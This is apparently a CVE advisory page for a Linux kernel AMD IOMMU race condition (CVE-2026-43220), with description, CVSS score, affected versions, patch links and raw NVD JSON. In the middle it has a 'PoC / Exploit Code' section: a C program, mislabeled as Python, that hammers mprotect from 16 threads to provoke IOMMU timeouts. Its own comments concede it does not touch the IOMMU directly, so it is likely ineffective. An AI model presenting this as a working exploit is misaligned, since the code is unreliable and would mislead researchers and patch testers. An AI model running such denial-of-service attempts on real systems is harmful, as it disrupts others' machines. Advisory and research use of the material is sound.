CVE-2026-43220

Description

In the Linux kernel, the following vulnerability has been resolved: iommu/amd: serialize sequence allocation under concurrent TLB invalidations With concurrent TLB invalidations, completion wait randomly gets timed out because cmd_sem_val was incremented outside the IOMMU spinlock, allowing CMD_COMPL_WAIT commands to be queued out of sequence and breaking the ordering assumption in wait_on_sem(). Move the cmd_sem_val increment under iommu->lock so completion sequence allocation is serialized with command queuing. And remove the unnecessary return.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (版本需参考Git提交记录修复前的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-43220
 * Triggering concurrent TLB invalidations to cause race condition.
 * Compile: gcc -o poc poc.c -lpthread
 */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/mman.h>

#define THREADS 16
#define ITERATIONS 100000

void* worker(void* arg) {
    // Simulating memory operations that trigger IOMMU TLB flushes
    // Real exploitation requires direct IOMMU interaction or heavy DMA
    size_t page_size = getpagesize();
    char *mem = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mem == MAP_FAILED) return NULL;

    for (int i = 0; i < ITERATIONS; i++) {
        // Frequent protection changes can trigger TLB maintenance
        mprotect(mem, page_size, PROT_READ);
        mprotect(mem, page_size, PROT_READ | PROT_WRITE);
        mem[0] = 'A'; // Force page fault/usage
    }
    munmap(mem, page_size);
    return NULL;
}

int main() {
    pthread_t t[THREADS];
    printf("[+] Starting PoC for CVE-2026-43220 (Race Condition)...");

    for (int i = 0; i < THREADS; i++) {
        pthread_create(&t[i], NULL, worker, NULL);
    }

    for (int i = 0; i < THREADS; i++) {
        pthread_join(t[i], NULL);
    }

    printf("[*] Triggering completed. Check dmesg for IOMMU timeouts.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43220
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43220
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43220/
[4] VulDB https://vuldb.com/cve/CVE-2026-43220
[5] https://git.kernel.org/stable/c/48caa7542a795c9679ec1bd1bc2592e05a7369a4
[6] https://git.kernel.org/stable/c/5000ce7fcb31067566a1a1a2e5b5bbff93625242
[7] https://git.kernel.org/stable/c/9e249c48412828e807afddc21527eb734dc9bd3d
[8] https://git.kernel.org/stable/c/d51bf43193b1e95dc4e34e540dc76e19def2ae5a
[9] https://git.kernel.org/stable/c/fca7aa0264ae99e5ff287d0ced5af0b82b121c4f

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43220", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:41.660", "lastModified": "2026-05-17T16:16:16.630", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/amd: serialize sequence allocation under concurrent TLB invalidations\n\nWith concurrent TLB invalidations, completion wait randomly gets timed out\nbecause cmd_sem_val was incremented outside the IOMMU spinlock, allowing\nCMD_COMPL_WAIT commands to be queued out of sequence and breaking the\nordering assumption in wait_on_sem().\nMove the cmd_sem_val increment under iommu->lock so completion sequence\nallocation is serialized with command queuing.\nAnd remove the unnecessary return."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.128", "versionEndExcluding": "6.7", "matchCriteriaId": "B503BA3C-31FA-4897-85F6-EECE0EE4668F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.75", "versionEndExcluding": "6.13", "matchCriteriaId": "72DA13D5-CC16-4529-9803-274233ABE12C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/48caa7542a795c9679ec1bd1bc2592e05a7369a4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5000ce7fcb31067566a1a1a2e5b5bbff93625242", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9e249c48412828e807afddc21527eb734dc9bd3d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d51bf43193b1e95dc4e34e540dc76e19def2ae5a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/fca7aa0264ae99e5ff287d0ced5af0b82b121c4f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}